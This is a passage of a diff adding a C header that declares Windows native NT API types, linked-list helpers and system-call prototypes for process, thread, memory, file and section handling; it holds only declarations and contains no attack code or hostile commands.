_IO_SESSION_EVENT +{ + IoSessionEventIgnore, + IoSessionEventCreated, + IoSessionEventTerminated, + IoSessionEventConnected, + IoSessionEventDisconnected, + IoSessionEventLogon, + IoSessionEventLogoff, + IoSessionEventMax +} IO_SESSION_EVENT; + +typedef enum _IO_SESSION_STATE +{ + IoSessionStateCreated, + IoSessionStateInitialized, + IoSessionStateConnected, + IoSessionStateDisconnected, + IoSessionStateDisconnectedLoggedOn, + IoSessionStateLoggedOn, + IoSessionStateLoggedOff, + IoSessionStateTerminated, + IoSessionStateMax +} IO_SESSION_STATE; + +typedef struct _PORT_MESSAGE PORT_MESSAGE, *PPORT_MESSAGE; +typedef struct _TP_ALPC TP_ALPC, *PTP_ALPC; + +typedef +VOID +(NTAPI* +PTP_ALPC_CALLBACK)( + _Inout_ PTP_CALLBACK_INSTANCE Instance, + _Inout_opt_ PVOID Context, + _In_ PTP_ALPC Alpc + ); + +typedef +VOID +(NTAPI* +PTP_ALPC_CALLBACK_EX)( + _Inout_ PTP_CALLBACK_INSTANCE Instance, + _Inout_opt_ PVOID Context, + _In_ PTP_ALPC Alpc, + _In_ PVOID ApcContext + ); + +typedef +VOID +(NTAPI* +PTP_IO_CALLBACK)( + _Inout_ PTP_CALLBACK_INSTANCE Instance, + _Inout_opt_ PVOID Context, + _In_ PVOID ApcContext, + _In_ PIO_STATUS_BLOCK IoSB, + _In_ PTP_IO Io + ); + +typedef enum _IO_COMPLETION_INFORMATION_CLASS +{ + IoCompletionBasicInformation +} IO_COMPLETION_INFORMATION_CLASS; + +typedef struct _IO_COMPLETION_BASIC_INFORMATION +{ + LONG Depth; +} IO_COMPLETION_BASIC_INFORMATION, *PIO_COMPLETION_BASIC_INFORMATION; + +typedef enum _WORKERFACTORYINFOCLASS +{ + WorkerFactoryTimeout, + WorkerFactoryRetryTimeout, + WorkerFactoryIdleTimeout, + WorkerFactoryBindingCount, + WorkerFactoryThreadMinimum, + WorkerFactoryThreadMaximum, + WorkerFactoryPaused, + WorkerFactoryBasicInformation, + WorkerFactoryAdjustThreadGoal, + WorkerFactoryCallbackType, + WorkerFactoryStackInformation, // 10 + WorkerFactoryThreadBasePriority, + WorkerFactoryTimeoutWaiters, // since THRESHOLD + WorkerFactoryFlags, + WorkerFactoryThreadSoftMaximum, + MaxWorkerFactoryInfoClass +} WORKERFACTORYINFOCLASS, *PWORKERFACTORYINFOCLASS; + +typedef struct _WORKER_FACTORY_BASIC_INFORMATION +{ + LARGE_INTEGER Timeout; + LARGE_INTEGER RetryTimeout; + LARGE_INTEGER IdleTimeout; + BOOLEAN Paused; + BOOLEAN TimerSet; + BOOLEAN QueuedToExWorker; + BOOLEAN MayCreate; + BOOLEAN CreateInProgress; + BOOLEAN InsertedIntoQueue; + BOOLEAN Shutdown; + ULONG BindingCount; + ULONG ThreadMinimum; + ULONG ThreadMaximum; + ULONG PendingWorkerCount; + ULONG WaitingWorkerCount; + ULONG TotalWorkerCount; + ULONG ReleaseCount; + LONGLONG InfiniteWaitGoal; + PVOID StartRoutine; + PVOID StartParameter; + HANDLE ProcessId; + SIZE_T StackReserve; + SIZE_T StackCommit; + NTSTATUS LastThreadCreationStatus; +} WORKER_FACTORY_BASIC_INFORMATION, *PWORKER_FACTORY_BASIC_INFORMATION; + +typedef struct _BOOT_ENTRY +{ + ULONG Version; + ULONG Length; + ULONG Id; + ULONG Attributes; + ULONG FriendlyNameOffset; + ULONG BootFilePathOffset; + ULONG OsOptionsLength; + UCHAR OsOptions[1]; +} BOOT_ENTRY, *PBOOT_ENTRY; + +typedef struct _BOOT_ENTRY_LIST +{ + ULONG NextEntryOffset; + BOOT_ENTRY BootEntry; +} BOOT_ENTRY_LIST, *PBOOT_ENTRY_LIST; + +typedef struct _BOOT_OPTIONS +{ + ULONG Version; + ULONG Length; + ULONG Timeout; + ULONG CurrentBootEntryId; + ULONG NextBootEntryId; + WCHAR HeadlessRedirection[1]; +} BOOT_OPTIONS, *PBOOT_OPTIONS; + +typedef struct _FILE_PATH +{ + ULONG Version; + ULONG Length; + ULONG Type; + UCHAR FilePath[1]; +} FILE_PATH, *PFILE_PATH; + +typedef struct _EFI_DRIVER_ENTRY +{ + ULONG Version; + ULONG Length; + ULONG Id; + ULONG FriendlyNameOffset; + ULONG DriverFilePathOffset; +} EFI_DRIVER_ENTRY, *PEFI_DRIVER_ENTRY; + +typedef struct _EFI_DRIVER_ENTRY_LIST +{ + ULONG NextEntryOffset; + EFI_DRIVER_ENTRY DriverEntry; +} EFI_DRIVER_ENTRY_LIST, *PEFI_DRIVER_ENTRY_LIST; + +FORCEINLINE +VOID +InitializeListHead( + _Out_ PLIST_ENTRY ListHead + ) +{ + ListHead->Flink = ListHead->Blink = ListHead; +} + +FORCEINLINE +BOOLEAN +IsListEmpty( + _In_ PLIST_ENTRY ListHead + ) +{ + return ListHead->Flink == ListHead; +} + +FORCEINLINE +BOOLEAN +RemoveEntryList( + _In_ PLIST_ENTRY Entry + ) +{ + PLIST_ENTRY Flink = Entry->Flink; + PLIST_ENTRY Blink = Entry->Blink; + Blink->Flink = Flink; + Flink->Blink = Blink; + + return Flink == Blink; +} + +FORCEINLINE +PLIST_ENTRY +RemoveHeadList( + _Inout_ PLIST_ENTRY ListHead + ) +{ + PLIST_ENTRY Entry = ListHead->Flink; + PLIST_ENTRY Flink = Entry->Flink; + ListHead->Flink = Flink; + Flink->Blink = ListHead; + + return Entry; +} + +FORCEINLINE +PLIST_ENTRY +RemoveTailList( + _Inout_ PLIST_ENTRY ListHead + ) +{ + PLIST_ENTRY Entry = ListHead->Blink; + PLIST_ENTRY Blink = Entry->Blink; + ListHead->Blink = Blink; + Blink->Flink = ListHead; + + return Entry; +} + +FORCEINLINE +VOID +InsertTailList( + _Inout_ PLIST_ENTRY ListHead, + _Inout_ PLIST_ENTRY Entry + ) +{ + PLIST_ENTRY Blink = ListHead->Blink; + Entry->Flink = ListHead; + Entry->Blink = Blink; + Blink->Flink = Entry; + ListHead->Blink = Entry; +} + +FORCEINLINE +VOID +InsertHeadList( + _Inout_ PLIST_ENTRY ListHead, + _Inout_ PLIST_ENTRY Entry + ) +{ + PLIST_ENTRY Flink = ListHead->Flink; + Entry->Flink = Flink; + Entry->Blink = ListHead; + Flink->Blink = Entry; + ListHead->Flink = Entry; +} + +FORCEINLINE +VOID +AppendTailList( + _Inout_ PLIST_ENTRY ListHead, + _Inout_ PLIST_ENTRY ListToAppend + ) +{ + PLIST_ENTRY ListEnd = ListHead->Blink; + + ListHead->Blink->Flink = ListToAppend; + ListHead->Blink = ListToAppend->Blink; + ListToAppend->Blink->Flink = ListHead; + ListToAppend->Blink = ListEnd; +} + +FORCEINLINE +PSINGLE_LIST_ENTRY +PopEntryList( + _Inout_ PSINGLE_LIST_ENTRY ListHead + ) +{ + PSINGLE_LIST_ENTRY FirstEntry = ListHead->Next; + + if (FirstEntry) + ListHead->Next = FirstEntry->Next; + + return FirstEntry; +} + +FORCEINLINE +VOID +PushEntryList( + _Inout_ PSINGLE_LIST_ENTRY ListHead, + _Inout_ PSINGLE_LIST_ENTRY Entry + ) +{ + Entry->Next = ListHead->Next; + ListHead->Next = Entry; +} + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateProcess( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ParentProcess, + _In_ BOOLEAN InheritObjectTable, + _In_opt_ HANDLE SectionHandle, + _In_opt_ HANDLE DebugPort, + _In_opt_ HANDLE TokenHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateProcessEx( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ParentProcess, + _In_ ULONG Flags, + _In_opt_ HANDLE SectionHandle, + _In_opt_ HANDLE DebugPort, + _In_opt_ HANDLE TokenHandle, + _In_ ULONG JobMemberLevel + ); + +#if NTDDI_VERSION >= NTDDI_VISTA +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateUserProcess( + _Out_ PHANDLE ProcessHandle, + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK ProcessDesiredAccess, + _In_ ACCESS_MASK ThreadDesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ProcessObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ThreadObjectAttributes, + _In_ ULONG ProcessFlags, + _In_ ULONG ThreadFlags, + _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters, + _Inout_ PPS_CREATE_INFO CreateInfo, + _In_ PPS_ATTRIBUTE_LIST AttributeList + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _In_ PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _Out_ PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryObject( + _In_ HANDLE Handle, + _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _Out_opt_ PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySystemInformation( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _Out_writes_bytes_to_opt_(SystemInformationLength, *ReturnLength) PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +#if NTDDI_VERSION >= NTDDI_WIN7 +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySystemInformationEx( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _In_reads_bytes_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_opt_ PULONG ReturnLength + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetSystemInformation( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _In_reads_bytes_opt_(SystemInformationLength) PVOID SystemInformation, + _In_ ULONG SystemInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationThread( + _In_ HANDLE ThreadHandle, + _In_ THREADINFOCLASS ThreadInformationClass, + _In_ PVOID ThreadInformation, + _In_ ULONG ThreadInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationThread( + _In_ HANDLE ThreadHandle, + _In_ THREADINFOCLASS ThreadInformationClass, + _Out_ PVOID ThreadInformation, + _In_ ULONG ThreadInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnmapViewOfSection( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtExtendSection( + _In_ HANDLE SectionHandle, + _Inout_ PLARGE_INTEGER NewSectionSize + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSuspendThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtResumeThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSuspendProcess( + _In_ HANDLE ProcessHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtResumeProcess( + _In_ HANDLE ProcessHandle + ); + +#if NTDDI_VERSION >= NTDDI_WS03 +NTSYSCALLAPI +ULONG +NTAPI +NtGetCurrentProcessorNumber( + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSignalAndWaitForSingleObject( + _In_ HANDLE SignalHandle, + _In_ HANDLE WaitHandle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitForSingleObject( + _In_ HANDLE Handle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitForMultipleObjects( + _In_ ULONG Count, + _In_reads_(Count) HANDLE Handles[], + _In_ WAIT_TYPE WaitType, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout + ); + +#if NTDDI_VERSION >= NTDDI_WS03 +NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitForMultipleObjects32( + _In_ ULONG Count, + _In_reads_(Count) HANDLE Handles[], + _In_ WAIT_TYPE WaitType, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetSecurityObject( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySecurityObject( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _Out_writes_bytes_to_(Length,*LengthNeeded) PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ULONG Length, + _Out_ PULONG LengthNeeded + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueueApcThread( + _In_ HANDLE ThreadHandle, + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 + ); + +#if NTDDI_VERSION >= NTDDI_WIN7 +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueueApcThreadEx( + _In_ HANDLE ThreadHandle, + _In_opt_ HANDLE UserApcReserveHandle, + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtProtectVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG NewProtect, + _Out_ PULONG OldProtect + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtFlushBuffersFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtFlushInstructionCache( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_ SIZE_T Length + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtFlushWriteBuffer( + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtFsControlFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG FsControlCode, + _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtLockFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PLARGE_INTEGER ByteOffset, + _In_ PLARGE_INTEGER Length, + _In_ ULONG Key, + _In_ BOOLEAN FailImmediately, + _In_ BOOLEAN ExclusiveLock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnlockFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PLARGE_INTEGER ByteOffset, + _In_ PLARGE_INTEGER Length, + _In_ ULONG Key + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtFlushVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, + _Out_ PIO_STATUS_BLOCK IoStatus + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_ MEMORY_INFORMATION_CLASS MemoryInformationClass, + _Out_ PVOID MemoryInformation, + _In_ SIZE_T MemoryInformationLength, + _Out_opt_ PSIZE_T ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtLockVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG MapType + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnlockVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG MapType + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSystemDebugControl( + _In_ SYSDBG_COMMAND Command, + _Inout_updates_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtYieldExecution( + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtClose( + _In_ HANDLE Handle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryAttributesFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PFILE_BASIC_INFORMATION FileInformation + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryFullAttributesFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PFILE_NETWORK_OPEN_INFORMATION FileInformation + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetQuotaInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID Buffer, + _In_ ULONG Length + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetVolumeInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID FsInformation, + _In_ ULONG Length, + _In_ FS_INFORMATION_CLASS FsInformationClass + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_opt_ PLARGE_INTEGER AllocationSize, + _In_ ULONG FileAttributes, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_reads_bytes_opt_(EaLength) PVOID EaBuffer, + _In_ ULONG EaLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateNamedPipeFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_ ULONG NamedPipeType, + _In_ ULONG ReadMode, + _In_ ULONG CompletionMode, + _In_ ULONG MaximumInstances, + _In_ ULONG InboundQuota, + _In_ ULONG OutboundQuota, + _In_opt_ PLARGE_INTEGER DefaultTimeout + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateMailslotFile( + _Out_ PHANDLE FileHandle, + _In_ ULONG DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CreateOptions, + _In_ ULONG MailslotQuota, + _In_ ULONG MaximumMessageSize, + _In_ PLARGE_INTEGER ReadTimeout + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCancelIoFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock + ); + +#if NTDDI_VERSION >= NTDDI_VISTA +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCancelIoFileEx( + _In_ HANDLE FileHandle, + _In_opt_ PIO_STATUS_BLOCK IoRequestToCancel, + _Out_ PIO_STATUS_BLOCK IoStatusBlock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCancelSynchronousIoFile( + _In_ HANDLE ThreadHandle, + _In_opt_ PIO_STATUS_BLOCK IoRequestToCancel, + _Out_ PIO_STATUS_BLOCK IoStatusBlock + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateSymbolicLinkObject( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PUNICODE_STRING LinkTarget + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenSymbolicLinkObject( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySymbolicLinkObject( + _In_ HANDLE LinkHandle, + _Inout_ PUNICODE_STRING LinkTarget, + _Out_opt_ PULONG ReturnedLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetContextThread( + _In_ HANDLE ThreadHandle, + _Inout_ PCONTEXT ThreadContext + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetContextThread( + _In_ HANDLE ThreadHandle, + _In_ PCONTEXT ThreadContext + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenProcess( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PCLIENT_ID ClientId + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtTerminateProcess( + _In_opt_ HANDLE ProcessHandle, + _In_ NTSTATUS ExitStatus + ); + +#if NTDDI_VERSION >= NTDDI_WS03 +NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetNextProcess( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Flags, + _Out_ PHANDLE NewProcessHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetNextThread( + _In_ HANDLE ProcessHandle, + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Flags, + _Out_ PHANDLE NewThreadHandle + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateDebugObject( + _Out_ PHANDLE DebugObjectHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG Flags + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDebugActiveProcess( + _In_ HANDLE ProcessHandle, + _In_ HANDLE DebugObjectHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtContinue( + _In_ PCONTEXT ContextRecord, + _In_ BOOLEAN TestAlert + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRaiseException( + _In_ PEXCEPTION_RECORD ExceptionRecord, + _In_ PCONTEXT ContextRecord, + _In_ BOOLEAN FirstChance + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateThread( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ProcessHandle, + _Out_ PCLIENT_ID ClientId, + _In_ PCONTEXT ThreadContext, + _In_ PINITIAL_TEB InitialTeb, + _In_ BOOLEAN CreateSuspended + ); + +#if NTDDI_VERSION >= NTDDI_VISTA +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateThreadEx( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ProcessHandle, + _In_ PUSER_THREAD_START_ROUTINE StartRoutine, + _In_opt_ PVOID Argument, + _In_ ULONG CreateFlags, + _In_opt_ SIZE_T ZeroBits, + _In_opt_ SIZE_T StackSize, + _In_opt_ SIZE_T MaximumStackSize, + _In_opt_ PPS_ATTRIBUTE_LIST AttributeList + ); +#endif + +#if NTDDI_VERSION >= NTDDI_WIN7 +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAllocateReserveObject( + _Out_ PHANDLE MemoryReserveHandle, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ MEMORY_RESERVE_TYPE Type + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRegisterThreadTerminatePort( + _In_ HANDLE PortHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRaiseHardError( + _In_ NTSTATUS ErrorStatus, + _In_ ULONG NumberOfParameters, + _In_ ULONG UnicodeStringParameterMask, + _In_reads_(NumberOfParameters) PULONG_PTR Parameters, + _In_ HARDERROR_RESPONSE_OPTION ResponseOption, + _Out_ PHARDERROR_RESPONSE Response + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAllocateVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ _At_(*BaseAddress, _Readable_bytes_(*RegionSize) _Writable_bytes_(*RegionSize) _Post_readable_byte_size_(*RegionSize)) PVOID *BaseAddress, + _In_ ULONG_PTR ZeroBits, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG AllocationType, + _In_ ULONG Protect + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtFreeVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG FreeType + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtReadVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _Out_writes_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesRead + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtWriteVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_reads_bytes_(BufferSize) CONST VOID *Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesWritten + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAllocateUserPhysicalPages( + _In_ HANDLE ProcessHandle, + _Inout_ PULONG_PTR NumberOfPages, + _Out_writes_(*NumberOfPages) PULONG_PTR UserPfnArray + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtMapUserPhysicalPages( + _In_ PVOID VirtualAddress, + _In_ ULONG_PTR NumberOfPages, + _In_reads_opt_(NumberOfPages) PULONG_PTR UserPfnArray + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtMapUserPhysicalPagesScatter( + _In_reads_(NumberOfPages) PVOID *VirtualAddresses, + _In_ ULONG_PTR NumberOfPages, + _In_reads_opt_(NumberOfPages) PULONG_PTR UserPfnArray + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtFreeUserPhysicalPages( + _In_ HANDLE ProcessHandle, + _Inout_ PULONG_PTR NumberOfPages, + _In_reads_(*NumberOfPages) PULONG_PTR UserPfnArray + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySection( + _In_ HANDLE SectionHandle, + _In_ SECTION_INFORMATION_CLASS SectionInformationClass, + _Out_writes_bytes_(SectionInformationLength) PVOID SectionInformation, + _In_ SIZE_T SectionInformationLength, + _Out_opt_ PSIZE_T ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAreMappedFilesTheSame( + _In_ PVOID File1MappedAsAnImage, + _In_ PVOID File2MappedAsFile + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateSection( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PLARGE_INTEGER MaximumSize, + _In_ ULONG SectionPageProtection, + _In_ ULONG AllocationAttributes, + _In_opt_ HANDLE FileHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenSection( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes 